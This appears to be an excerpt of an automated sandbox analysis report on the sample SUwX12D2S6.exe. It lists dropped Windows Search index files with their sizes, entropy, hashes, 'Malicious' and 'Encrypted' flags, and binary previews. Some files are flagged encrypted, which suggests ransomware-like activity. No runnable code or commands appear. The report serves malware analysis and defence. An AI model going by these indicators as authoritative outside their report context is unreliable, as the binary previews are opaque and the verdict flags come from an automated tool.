SSDEEP:	1536:i5jp0Q3zJh/uUYlcXhOk10uTx4Mw+/1c0bt:+N0+Jh/FYlcxOMTx15mc
MD5:	C937A2F205240D3DCE05ACFCF13B2E4F
SHA1:	EB2528F53479D00F146078F5D6AD0F0B378E2C8E
SHA-256:	B95764758DC1B18882E9AE63B1E96E33062FF7AC9168460217301FFBBE9BC52D
SHA-512:	66D4401A0AD1E106109DFB1C26AF9ACDA3F2D4F89097D068BADAB2DCFD6753954362433E5197D19CBDE72C22F3CF32072E366EBAA9C07CFC197CFE62D39AE9B5
Malicious:	true
Preview:	......`G.X9.(-.1T.l.g..%..........`...."M..e.&..\F..i..+..@....2.......T.G...?,..b..l\.......5A.d...q.h>"~3..Y....."..."x{..Q..\|..YQ....Q5..v`P...G=......\|.d........p..8.G.f.D..^L.....#......W../..}.=.M7D_Zpj............E....h..j\........U..R.....\X..,......C#.F.v.\=.m.:..O3...I.....n.....".!.z..ju.._..r..mO-@..E=./:...&..4..?!......1.......t.7.m.......mF!."....,...;jsb.}.%>c.Pe.......g..@.3.3Z6[.Ei.o`.3.....7E]}D2l...P..M.......a.........?.....kRKQ.x".?...s09..5..fu.......J$.f.5.~l.m.7...Z..uT].^.L...,^wK.j....?8<mR...&..J.....1U.[.,..8(D......W>..R.w...\|9[..zgX.2@...Ba...e\..\.P.\K^%l.`Q...!..`=%.T.put..\].~Z...\|....6../.6........1.6Fl..W.....)..uP................8F..x3ew.C...<M.<G.....1H....J6...@.. ...G\C/^/...k.]mX-N..6...~h.C..]..!.+...s......$.\o... ......y.O;[.V.&..'...\|O>.k...T.].../....j...DI.......}...............=.R}r{....x..QC.1....w.'..th.O.G.\|..O...G...#j......%...oM.f^...-....ku$-....P...AiS....T..'...B.5.P{q~{.>c.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a791065b-313d-479b-9caf-5d69eec92f14}\Apps.index

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.542629769978295
Encrypted:	false
SSDEEP:	24576:MDiKePzYsOYfoyFxz8GfoLr7YfoyFxz8G21itF:MOnYmf1xz8GfMwf1xz8G2Y
MD5:	F5A443C36ADBAF4F66B4B79DA65F1657
SHA1:	BA8309DBDFE954A5B40D54F9EB53B72E69000C74
SHA-256:	3EEFEBBDF2A8FD239E534CA75875138F65398233AEDE77E344602C7D8E4DFD20
SHA-512:	D08E65703CEC245F183F9533E721D00FF7532B225F595A4FF78A73E2321041C0C6FB397C6D01D2CC962CC029E6EB28A06BF2C8FDA66D33C0AA979C3776FC5CD1
Malicious:	false
Preview:	Ej..D..t..#.....e..&.....;},..q..+.^.6..U.N..E.]B..c.&#..w.- ..uzw .`....?...J..P..Z>=.'.lq.%.D......n......).e;O.x.....7..i...%.?.e.. ..\|H.dM,,...mV.#...u"..qMk..g....wS..~....TmVMY%@...........T...]..O...P\.".'.r.B.r..~3.RxL...O.ox.3..........D]..0..8.@6+Y.$....:...~..~^.Z!nF....:.y.Q..v..w.-....#..+.]._...T..&.%....'......}p[f.E.P.......`r3u.)........k...u./.G...Y]L.U.<1]..6&...O..(G ........<..xP.s....p~H..._..4..5&jK..3.J....B.....I....7.I3..6b.{9...bH.)......H..8..#....7...U=. . ..'........&4...Ex.6.3.....E..Xl..u.M.B .....h...@.$.eb..wYC...?.....s...s&.tL...{r..e....hr..F.H..(AzP.B..vI......a.....~.{s..;.a...../)R..D. .....sYxY..J....l.imG.....y..-.m.&.)...o......]...w1...["..m.;.2...\|...!...9K..Q."..z.B?.p.T..p..p.u.R.i.+3J#..\.o.De....Uc..lTaJ....]>N*.$..7......Rr+.I=q.......7n.d.L9.rj..xCv\m.3.R.4.C.N...C.'...5...1.}d....Ro:2b\|..^.Tk....6..+.d...>V..A:.f.xA....R....MVbE}."...V6."..7...[z.Z ..j..h.25........)B5U...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ab5125af-4ee0-4e4b-8c28-9658b46f5799}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.995027358988568
Encrypted:	true
SSDEEP:	768:FZxkfmvdqF28dnRbTb8B4f06OZU92E02VDKZp/rycm8rVYwy8:FDkIwQsRbT2q0FU92+1KZp/OcmAb
MD5:	B3C411AE5B971C1827065AF8A57969E6
SHA1:	083E83BFA32943C9EB4BE86F359862B0A90B2721
SHA-256:	AC23725E9796A78DB4C3AE8B30A466747F6514B070D35A32CE86B11E0D2E747A
SHA-512:	5C42557E4B576AC2D651AFC9606279CB70B65B67B628FCCC2B55CFD00D79A6ED8A5596468CD19E0FAC953AE22138321071FB94EC5AFD66C9B7655F25671DE1CD
Malicious:	true
Preview:	0.0..@.jcd\|.4.q..B..f.............C.+qA.L8....#..:K..x..y.t.w..#......u....2Y.>....[8.../...8...f_-H..ny..Gl.J..s...J#............T....,..L..?......9.[V5.s....n-...$.=..-..u.f.b....m.]..\.e.`P...u..j.....2zX..`.@.......'.........ZZ.jd...)...E.Pw....[x..jUX......-l.....xDt.VSH..g...'..{.:.\?..D...Kz.6h...N..:..'....>J.vL.X}t......a..P.1.F...m...M........q..A..f8c..Nro~.By\[..c.._....Cd..Y/........s.aVa.xX....W.u...t..Y..bgV.b.ol.h+.\.\A]bV.y.(.O.,.I]u.X.f...o..1...ePC...N.Rb.L..+.;..n.....DD...Y....x.m..t..`......Y.N.?G7.......2.t&:.a..K..oo.3fzh.f.m.;.F6...y.Fu..g.`F..+.VF^f....$7.os.-..w...5r..;NI{..b..9.e.^.\EC^X8^$wc.<!U .>9.(.PC;..1.?I.[V.........t........C.6GIK...E.4.D..J...o..R.P.0..z.CGf..gd..l/......2..8:.F.(....,FB..5....k.3..U..:.....A-.E.5.6..[..w9g.^s?K.......l.T`..o.,PI.oS..u.........._.X..c(v.x......h.N[ ..."}#..Z_..;s....&....F..."#c..[>.e.#.5I..\|r.7.,... Z.*.!Z. U...".s.9$O....K. c]n....f;kN+....+..Gqm%...,.3.D...0.....N.h

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ab5125af-4ee0-4e4b-8c28-9658b46f5799}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.996455039244701
Encrypted:	true
SSDEEP:	1536:a122zc/CkTBwuJy0jQtNgHmpPS5aUHJHGP+Wtv:a12LCkTVJyGQtN6mq5acm2Wtv
MD5:	B7ACF9E39638E7EF4F761274DD4E8C1E
SHA1:	CEDAFCCFCB9752A52F948C06F504E39C605E9E5E
SHA-256:	758E8902B11ECEE62DCE6AE5DFB865E6E7F16A29C3FFF27BC3E552C02150701D
SHA-512:	50DFDB506A79ADD2FD0E0182E953FBB38256B983925A9AA79943E922CB0A80B5887527C1A6C035F97F694525F1CD26B61A50AC1EFD34F7C395959A8DB291F790
Malicious:	true
Preview:	.....b..'...Y....A8.^<.^;..W..-IP~...L}...."..,v.7>]\^......b4....[.s5...U..I.).....x.!.A...K 8\|.e.p..lD... s!....T..f.b.^Gv:t69..a.J-......Y..}6..5J{...O..W9z.h...v....Zt...wY~....*...i..M..y`.;../YH._X....j.b)...>....9+(..ez..\|...9P-..=....k;...@.L......X.=..w...............VJc.Z<...W.}.%PJt{!...M...R?..{[..(.O..$....H.Z...x..m.J.L..\|...(.Zi...Hr0G....W-..r_..Q.....m...;BO....}.........0.....`....UJ.].r?.I...P..@..4..+..Pg.V..G..e.I_[.(..z..Y.z.{...........n7&F..T-....... wj1@..Y..S.".$.aJ.'...%....1.I2...Xv...~};y..!'!...V.X.9=]..a..\'.....E;O......_.dL..}?.....c..t........q7...y....eX[LV..a.\|.d$..[?....@...NL...R.T...0V..-n)N.Wd1C....9...eX..l..3.NQy...z..7'..l...\|..m...!'0...0...&I.......x.....^_x6.!~....O8B.{.)Ek..h...<\|U.+.R...[.&p..........U...4.......(.....T....^...].....MB...`..=,....ai..T.~L.J......e]...}"....\."...._D.#.,~.G[...v.T..e........ Y[....#...).A.<.T.3RU..C...'.6...D..Z..o!..2A..4.r...,DW.F..2#...Y....)"..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ab5125af-4ee0-4e4b-8c28-9658b46f5799}\Apps.index

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.542274107701382
Encrypted:	false
SSDEEP:	24576:zXG2yvzPtYfoyFxz8GfoLr7YfoyFxz8G21it2:z2Zvzaf1xz8GfMwf1xz8G2T
MD5:	9FEBF41B07E28CC55BF25D31045E27AF
SHA1:	7B0C688CE4C6C80E03ED86E72058C7274D72B6FF
SHA-256:	D9CCE9B52759263406FD8E1EB590DFE1A904D48B42D8CE8F5AA0F0F2B8892B7A
SHA-512:	6C80CF89A04C0EF8FDC3F9AF829A2E9B2CF25F98956620A39523ED2548A5A545ACE7FA442C9D2AA85E733A71BC005D4E06089CCDA088AA57EDA5856CAE8D7011
Malicious:	false
Preview:	Ej..D.4.4..:>.O..n...<.8..3.2........G......6%t...=....r..}.X..blS.s..9.~.....n..H^.JP./+nU..F.].;.4..]....{.u..>...f<@.F..4@I...{?k...KP..u7..}.xWy.......g...#.F....6.)j.-.zH.H9d.:EZ..[.......e...i}k.5.D..Mj.t'.B.J.3.N4.Ow.X.M.......-&h.....p..l].F...H.E...5.;..7Q.\.`....N..~..."b..9..u.....Z.Q.Wu.!.UC. 1...J.Y....".kJ....{]5.P7..g.".j...{.I4...B^Q...Bk......$.%e...w...Ix{...m.....u.ma.%.x...H.Q.B..A-.6..B.V....l( ..%i........v....B25...?..2...._L78......,...4 f......q6..F..?g..~?.......=_1..&K........X.9..E.?^.......{.>El.lE.....$.%...F:.(YT..1M......1...a............~...GF`............D1.xX..1K..Y.\|.H.0...l..s3.`.Qu.%T,..t.[.., .n.!.n.d.k.a..N.7-......Nf`U...F..V.r...D.....:..3.{.....x[.Q.C..m..4..d...h.....N.E.r...<...U.?.J.=. ..c.J:..PP...(M%.)..!U........ k.'.M..4....*.ll.B..Y m1.q..:......e...L.^..l.Ov..e>..-.....Zj..Z.p.@h/.t...\|..t%.^....l.I.U\.R......;!.q.......8..L.2..@.p...[t....z&7...e2...&..P.g...lkD.{...'

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.csg

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.731982755118171
Encrypted:	false
SSDEEP:	24:uyLSZYG/sZStKDJioHKQkG0GgSqyz+CH1EopIRcVbD:3LuKDooHR0PuaE7FD
MD5:	D5ABAA64A4375B6B0E6B057365DE5EEC
SHA1:	C8C6E82E7BCA361174A16CAD8C1016DB8A5031C9
SHA-256:	674B42C52602FFCC71E091A4FD64D204BB4F7795C8D7993434D25BCA62ED9FF7
SHA-512:	D99B6536357E47C9668783D57EA9D8BA8A8C30D492547DD5DB95F00BE21183A82EB02960BD23FA80E60EC01DC2EF66E62FD12B32F71D0B0FF5D97984D9605363
Malicious:	false
Preview:	.....2k.L........<.C..`6\.A....W9=(.3If,.^9.rS.....Q.Yr..o......l...$....Q2_F-1v..\|.on...F_..,...m.8....\..S..cY.W...).b...AV...zM.{y^......3.\|..nOY.p...~.!#...lU.R>'..R.#.....`<.3.\|..<CB.U..~.......v...x.Ep.SK..I."t.3...m........eu~.{!.......M..f.W.N...5I.......n.p.v..lb.].Z.u.{.w..B.N]\...I.\.../._..$..iR.]..r..S..0..uyw...S..&."]...Ym.F6.Q..Op$Y&u..\.I..%..a.Q7....^.t..,.x.........h.....G%'..~./ru.S...h..$..v..&?...~.J...$_O.....~......jb.....g......M..*.......Q..<.EU:...~\...2.^.b.jPK:..:o.....#9....2u..\ ..sI..J.n.b.~l.$.0......T..AKB.9.u.c.r.C..C(H.b.x5..Q.eEk<S....\...8.<.+ ..C...UY.1.....bI..8.{:.N.C..d.K.8.........KT.....k.@......g.F.R.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.schema

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	484
Entropy (8bit):	7.492900339066634
Encrypted:	false
SSDEEP:	12:jB4wzIlTw39KiajP+vikO6MbFpczRNjVcii9a:jBj8m4i0206MzmRNVbD
MD5:	B31F021315A3B7E32252EB054108E0EE
SHA1:	13E51460D07FFB5AED1454746D8C082F7D097E21
SHA-256:	CEFC4CF9E9D561C34555FE9D90B605B26BA0E754ED2036EA2A171728BD12520D
SHA-512:	116CF00EE93DFEF107722C9BA72E852731C46606FDC1DD962E23579DFAA3505824C488A70628BEEC29AE9261DA7E896BF2C9C59E728AEAAB4565473C47BAFF66
Malicious:	false
Preview:	Windo...hM.T. 3m)Y.{..fP..K....ZFxT...._.....B.wDS.^.$....5....+.1...X....#.3&.a.9./\|.....z..iy\.jl}.f:.g.4,?%..a.q-.......a<.(e...ljXYcj.H.....f......9Sj9..x}.......A.....Y{.&\|.,4..W/.:..3..ql..X-n.....'..Q..p...Qx.".....7K.Z.">o..,.Y'.......t.o...&'KD..Z...O.x....Gy..(n ....2...qb.W.9.>...c8..2f.".B0v..H..F..x.).b.dRz.....q49bUK..[.i..U..i..0..#...U.`....XCo..".....=..-............a.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsconversions.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1426236
Entropy (8bit):	5.417306514301343
Encrypted:	false
SSDEEP:	24576:SGPll0c35Mjdr9yEKzC79ufKZDXkmn63mlDEyjMx:SGP3MVD4Z
MD5:	5DC193BA2B281C88AEF1734C0CD7C628
SHA1:	98008B54989BE6F07F8FFAEE5E5B6B0CEF974F1D
SHA-256:	895E506D9DD3364A099FD089D800450BAAA98A20E9233842A9D4544CAEE4490C
SHA-512:	562A9E46867DAC61B503D0A05E115B85A0B851ECF8A87B5329A01330BBAD5CAFF587084459E1295DE42715260E4B777480E73C018F26C02BF3F03448903F6E39
Malicious:	false
Preview:	marke...Ni+F'...[dR..~JZy.~.......]......<=.1........t....C...$Y...5d.A....,['...O...%T..W) ...`...y....(K #vw\|.i.f...:...B.1m.,O...)D..5c..A;....i.s..>..-.u.....r.@0.......$.r.C..EZ.6.>w..2..+...7@N..7G..49.....v..E...T<...."n.Y...<g....z~...c../! n.&+..uW...6...H.....,.E...?M.=..."..,...W?..Q..L%..:9Q..J.....K.+.....,t.<K.o..9Ox...L2K......x..!.$.@J.......I.^..A.x7i..M..$....^.B..7.X.X...O<6.7........)"$m.<.....2,.9^..`....,/..#aE... Y.g..!L6.K\h.p-p.w.4=.Ho....j......1'..<.=...%.Z/.G..5M^.....\.4m.Ud.,Yl...'..p).}U.?.~..6.}.;...O..{.`p..=...{....V.F.cy.L.L.\|...D.5...K.&..%r.f.q..(.M...^.s..{W.{.S..rM.m.'......Z.D^.T..d.o.._A..i...v..l..K.....n;J...m.....u...r.q....<..F......<.e.-..>.W.....A.H..6.s1.......C... ...4..`JGV.X.zI._t....X..B....g.2/..0+m.rD..U......f.?.u...r....i"......0\..oa.F...UY2.-ex......D....0.05....d.o@a...l............0.#....~#....nt.].$...'6b.lK...).H.^....a."....b1Pj..\|..a8...o0..%fu.Y(\.9W%.4.6.I..O..B}./..z'..N.%.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	352062
Entropy (8bit):	7.228225681719325
Encrypted:	false
SSDEEP:	6144:zfbmPV/tZ88d4Fkyyjspr2hzB1DvB1Y1YL6hB5PsqCfC:zUmFkvO2rD1emqiC
MD5:	F2E2AE541F02BBCAECC18855D6858DA5
SHA1:	7FDA4776A1CAF7C9964FD3B102E4CA265E243677
SHA-256:	73BE7FFCF47E59D57F7A9A4966BB6888A4AEB5C3D7A10DADF4497D45A062E637
SHA-512:	F8BA9FF85BD93DDBE1BF134CDF5035DB86B3437DC23A4E0B00B73BDC28B8E0FB4EBD2AA98EC21641AE51194384755AFA6EDDAA3B076329FC19017DAD800FA725
Malicious:	true
Preview:	{1AC1...zl..\|(.s..J..R...n(..>.F.[....]L..W.m.y..D.d.J.0i.j...H.".G.V].....M...c..C .RrD..........K.....HB.G.U..p s.S'..&\n,.i.F..z..,...F.....y..ZwH....?.-K....t.`.j..:v5..?.tQ".;$W. <..aT.]P...{.GeBy..@......)C.G;a......E.h..8~...^..kQ..V..M<U.......q..?...U.....eB8.+=..A:./3.-.k...:C..>\...{.8....."..........c.E........H.e.b..2.z.$2.....5.a.m`..b4@..}.....4I.s..=....03i...gR...S.H&.].W.m.....D........N..$...p:.....M..Q.. .?.S....V9...3.9}M..^P...O..\|>~....:.D.{..--yu..........G.."q..1..1.},e..dqh.=..bF..WBF......7....0y...?..SF..]E.i.s.[V.[.r...... ?....X..6.)F........H...k...._.....7u.p3D.^. ....2.M.....Z.B..z......S.Kb..V.o\|...P..3...#Sm..._.....j.xoX.8..">.Tn<....U(.D.Y+..[B.).......>._2`sS^.z.G.Z.\nW....1...I..&......d.x.0..].hmL&...P...5....~.( ...8S{..\...n.Q......^n"..X......t...eX~..Z.......j..V...i[...y.dohT0......"H5....6.#..`.....G$l;.o8G...2...y.4.z..O....7.U.../h.F2.....[....klV*a.....I.....("...........vH.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	243828
Entropy (8bit):	7.513370423673449
Encrypted:	false
SSDEEP:	3072:M1mE9KZOlhM984Dh+zRT/gUl6GboTSxyH+eUyTfjW+CXdv02xo+zCmTXFePKC:Mn/bgF+zR0Kok2PCX9ZCyXFePKC
MD5:	AC236F12E356A3A5EF19211EAE441AB3
SHA1:	EBFD7031A7C4998DBBD68644EB201053A54CB11B
SHA-256:	6512AF6E13C6215630CB6D23C6AAE0150B6EDC27DE9408B3BF392EE6179EBB02
SHA-512:	F3F5882AFF6D34523D785273D4E838D6752357E4EE0F7212E719AFC4B9EF5816BD5AB9321D078184F4C772902828715654DD87C5B2C83D724A5EF27618F13FB8
Malicious:	false
Preview:	\|.\|...B.i...;..O..W..q......\|.....N,..B..P..D.]n.......{.b.5n%U.....1.....lb..n).Jc.\|.(.u...`[..R.UIVs}.7s......N....u.VaC`U...... ....Otb.eA7+7..o...Bw.....$'.........."c@........>F...U...1/....Ef....zv.4[4E. ..K...W..l..P.F...?d..z.B...3..7...F.\..M/..j.y.6...@....!}.-5_pDD]WuS..P....#Knz.Y3.+4.r..\|hU;.<\.&..s.....M...K.. .^y.........D\9..NY.......3B].N..3. .\.......m....Ed.$.l{..#.Q .H.7.4x#..7..\|X.3..........@\|R..`..8..&.\KI.."\O..._. .....z.5.P.!Ppj..H$`..9P?..G.!3....e%.....K.....g.t~......u.H1s....%^.K1%?........}.PN.3..KbR9m0.sj..Cqn5....2.!PJ.....rt..%7..d.j......:....5jD..)..........9.8$R.9.Rb.0..{]#x-PG....H.+O.d.%X.K..\...F..j1.0..CS....x!...}Jf...y!-ox3@...$..#v....Jf..6..{.............$@b..n........S...R......3f$..'.<........FQ...s..S)L........I....\|.?."...O+...#.........2....0.o.c..k.....Q...."}.W.a..3..=.k]...;.@u.!{<.d!.I.Z..?...6.}G....7.-r...{.o....S...o....~..%...y>=5E.0%.dP.KnQ.q.J..S.......R;..n..Y..?.K... $

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.csg

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.711026462304782
Encrypted:	false
SSDEEP:	24:DHCi9fu4/2cxBBpq4uHszDDkluSNTqhb8H0juFxVbD:DCi9WBcxBxuI/kluoFzxFD
MD5:	F685AB1226E0BFA1602199D2EC945F86
SHA1:	3431EC7C999D3AE9882DE6722C582B77239760AE
SHA-256:	B155A977B1DF6D412507F843E696BBF82EB98FFAE8740ACA19B7A0C901F2C899
SHA-512:	ABD3F690160264F80146B5D8602DFDE692F56345BA8BB13C504A41CACCA16FC53A4EB37F2EAE4540110CC8679E99C180F48C7ED15697407E5E7F6E07F2CAD90C
Malicious:	false
Preview:	........Y..tV.&.~#r!1.o..As#.......U1...h.T9O%..[..:....+.?(W4.&..b4.F"...j.....>.........}....b.K.. .=...dF.#..T.._.......". @...Q..b}.r...~a.N.sy.m.....D..C).%.R...4.1..%..1.I.?....S....2.h..,.C..;..s1~..WgMy.kO^.,..$R.Z.....R.=.Np.R].3.....hZ..[.....x%9..j......8.....K....m..J.i..h..tz]]...p.."+.....xNf.w.P.?..9%..V....A.PJ....I.=.[@..[G.b.-...G..QU.I1q.k.lQ.v.......FS.>.D.JC.L,b6~.......\.Z.+....rF5&y.7=o1..Uh.....{^n..1n..#m.RY.R.........O>HF.3U.....r;....L.U..=......ZdM....T7....Ac$.6........9..g.W..SGV;......c5.!Uk...s.'8..Ds..p1.2..7..4.<.\g.}p./w..o.6..e......2...+..#.....h1.y_t/_n...4..J....!.n.&O...c.!#..M..&..l..... ..[......7..f..5,.a.../....jc..........nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.schema

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.496277487140196
Encrypted:	false
SSDEEP:	12:jBo4pahSlGV0RB2CyPefxtxUVY/EAF1jVcii9a:jBo8agRWQBUVY/EAFVVbD
MD5:	A8DC0AB81C0D72D50D407E036F599941
SHA1:	E61A362280653E2121EE1A1D4F41E72D284DC81C
SHA-256:	A9DC0D9A45EBA3B9D5EB11C107E37A8FEEE74D4837F468E38A3119906C33BF14
SHA-512:	24132DC8C139A0A259F540D2FA8E771F57DCAB3332A51D748102F50761D2502D27D914243C0FEFC85AD48540CD210639AF95D8845FED9F7AB8448980ECFA52E7
Malicious:	false
Preview:	Windo.3......K.....ZO..^R.i=;.]-......Oc.L3....J..^....S.HC.;lW.s[B.0.%)4.T...Py...#...../.3...#.......r8..y.)b{u. ....).kJ".]`.8.1]...f..7.}yv1.2..#..7T.K.h[!..^....g....oM.O..q.oL.b.L..&i.i......?..a.E..n...c.yt3.Hu..&%..4e..^..?...<)g.wv.c..m2Y..1z.b.H....:I....$.h.....7.t/..T..D..fm...;.17...../....B....;..>........P"..q.Z.pP.:O."#uU...E....u....DtSl_...`z.z]2._..R...N.w.z.3..R.9dV+m'i7~..bHitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	533084
Entropy (8bit):	6.258606056716399
Encrypted:	false
SSDEEP:	12288:f7pAVXFGMJZCVbxjiuTsP583eAMwQknzBce:TpATrCfeG45epZ/
MD5:	DA088C095F573F7F77C8FC16A3D93043
SHA1:	D917AA55DBC543AFD9A9ECBAF9D6394BEB2A816C
SHA-256:	3037ABA4FA90BFF5C9F0A358F3318A7ACF06D5D8179BA12D5779685390C503D5
SHA-512:	9F1051A19CAB7475E411BA755B021AA2102EACC4CFC181DD265F620E803BF4E63A4004099BA6FF207D92B67C2DC744A07061FCABE9F96F8323DD4EB576D79FF6
Malicious:	false
Preview:	marke.Kyz..1.......{..>h.c.f..G.-;.'.........h...^....1..f.iE.k...jb....2......N.%.Y.DML..E..M..#Q..8.o.]...wK......^.....1]...0....?.CB.-%..=VX..rV...h.,\../.....frY....a....7..o........ .R..3.Dbg....bp.x.c.I.9...b..n:..5...>k..^...L..;/..etm.d....."Qvb...5K...R....SL.......tp.Y...h....t..\.H.wZ.Z.....c.k.Z....?.._...J/..6.e. ..$).#...v.0..U'V.H.c.FWH......^tE.=I.m..+.....".2.@.....}$\W....6..X...Q<!.....f.,.2..[...7..l.d: .#..X...x..UH}.0.P"...v!R.:..i.V...L..FB.....@3...BoS..S$s7..p.XAm.............u..(.+.]..\|~.Q>..O.kW....=w....Td...S...D......nh.C.......%......(gV.......n.m@S....7..~.Kb33.......j..=.1u.W5.T........:u#;.....E.....T4...;......M..k\. ."l'D^..d..<..4..]..#.eN_.........Q.@..@..W..."7jB<.........U......7{..5....p............c.P...>..Nt.._.....+.hFti..&..u.8.P....Y1c(....h;J..!tqM.X.is..a.....\|.v...V.i......[A.....{O.Im..>..1...D.8..L./..n.4.P$..c.}.S.5.P.............{`...h.....^]s.<@...X..._.%.Y...3.'.A.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	44833
Entropy (8bit):	7.996063501379622
Encrypted:	true
SSDEEP:	768:qPFGmr/3WWQs0ISGj/5r654Y+cRJzNX9FkwgG7C9FyxCuQz3E0jM:qNGAws0ojh6jRteRG7qyAdLjM
MD5:	3DDEDF015B638705D463558AAE108309
SHA1:	DF7E0D7B7DAC3C0BE3BC74108999E0E190E8EAB7
SHA-256:	EB763E68F407B254D9E70DBE03F060DD1D7494ED91814205CEEF6E54E16A97CA
SHA-512:	0CF7EA5AD15B8FE505B97B8B5339508480474ECD6119DECE85479FD2C1F304D36A9992DC83A208264A4CE054B0E31620E6CF2135D5BA87D673C73D61FE8B21FB
Malicious:	true
Preview:	AAA_SD....x&C./....".X..;.u}T.....m.:iq.L.Y...l..S(.h.....O...l5..#.xehB#..EE.,.lL.<k3.$.!.U..5./s.O.7..-....D.L.V.8.D....B.SDd.3...._E.k,..<1...\....0....x...>&..T-!g.Z.l.......f...ksH(sjb..#.b.....c.W.~.V.G..?.W.6.f'..+.P. ......T....{VT.....w........h..n.FzG.@c:s?I.G...D...N.<..Sg{.J^.ZK....(....c%ce\|....Y....F...+...b.sB.....Hp.Y.^.F.Q.ns5.F.{.}.VN.../.h.r..R.6$*..L..h.\...v...Fc..@..CE..TF^i,.......M!..qP.Xo.2..%=<.:#G..\|.\|.....$ nu.L....FYu/$....+....g...#.VE'....d...CQ.Y....I..,l.7+p.y.GQ..y....- ....<.U..<..K....i......I<,M..`W.ME0^Nr`........,.....Zk...$.m+.....Ev........A'p....n.A"F.r.J.j.x.k...L-s..%....r..`........7.bJ R.B2.w..9<w..L.-..+..R....!.....)C.P.H..`..?..ue..DJ.L.....U.-!L}p..rT.G+VTc..k./,....m...GQ..H&..+q.....R...)..H...W.....m.5..../.E..ssM.g8.u.k..J.n........c...r......8..eC....VQS... .........v...V...;.6..U....../..9..t..n.YY....b.=....D.....U....(P.8..4j!..B.R.Q}.....F.&.K..X.h....(.xl..I@..#..c..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	104051
Entropy (8bit):	7.998431878388942
Encrypted:	true
SSDEEP:	1536:IEVxTdX/uVs2npTJZfbEMQICNPediXj7LIYjY6zL2jn5BJU7OVqwTN:IEV5t/SlvpFXdiz/Y6zL2lGsV
MD5:	4818FCEEC8F7A78513CD44E019F2E0B1
SHA1:	5FDD24C327BA2E5626975E972B6741D0E636C351
SHA-256:	118E5A5EEA18C52A0B5BDD3CFB4B9C22862457C769137C95861A71F4E5B59D28
